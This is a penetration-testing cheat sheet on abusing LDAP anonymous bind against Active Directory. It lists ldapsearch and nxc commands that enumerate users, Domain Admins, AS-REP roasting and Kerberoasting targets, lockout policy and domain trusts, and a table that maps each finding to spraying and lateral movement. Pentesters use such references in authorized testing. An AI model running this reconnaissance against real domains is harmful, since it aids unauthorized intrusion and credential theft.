#LDAP Anonymous Bind
#Attack Flow
plain text
Anonymous LDAP query to DC → if permitted, full directory read access
→ Users, groups, computers, policy, trusts, SPNs
#Test for Anonymous Bind
bash
ldapsearch -x -H ldap://<dc-ip> -b "DC=<domain>,DC=local"
nxc ldap <dc-ip> -u '' -p ''
#Enumerate Users
bash
ldapsearch -x -H ldap://<dc-ip> -b "DC=<domain>,DC=local" "(objectClass=user)" sAMAccountName
# Enabled accounts only
ldapsearch -x -H ldap://<dc-ip> -b "DC=<domain>,DC=local" "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" sAMAccountName
# No pre-auth required — AS-REP roasting targets
ldapsearch -x -H ldap://<dc-ip> -b "DC=<domain>,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName
#Enumerate Groups
bash
ldapsearch -x -H ldap://<dc-ip> -b "DC=<domain>,DC=local" "(objectClass=group)" cn member
# Domain Admins specifically
ldapsearch -x -H ldap://<dc-ip> -b "DC=<domain>,DC=local" "(&(objectClass=group)(cn=Domain Admins))" member
#Enumerate Computers
bash
ldapsearch -x -H ldap://<dc-ip> -b "DC=<domain>,DC=local" "(objectClass=computer)" sAMAccountName operatingSystem
#Enumerate Service Accounts (Kerberoasting Targets)
bash
ldapsearch -x -H ldap://<dc-ip> -b "DC=<domain>,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
#Enumerate Password Policy
bash
ldapsearch -x -H ldap://<dc-ip> -b "DC=<domain>,DC=local" "(objectClass=domain)" minPwdLength lockoutThreshold lockoutDuration
#Enumerate Domain Trusts
bash
ldapsearch -x -H ldap://<dc-ip> -b "CN=System,DC=<domain>,DC=local" "(objectClass=trustedDomain)" cn trustDirection
#What Each Result Tells You
| Finding | Implication |
|---|
| Anonymous bind succeeds | Full unauthenticated AD enumeration possible |
| Anonymous bind fails | LDAP is locked down, move on |
| Users returned | Feed into spraying, AS-REP roasting, Kerbrute |
| Accounts with no pre-auth | Immediate AS-REP roasting targets |
| Accounts with SPNs | Kerberoasting targets once low-priv creds obtained |
| Lockout threshold returned | Determines spray cadence |
| Domain trusts present | Lateral movement scope to other domains |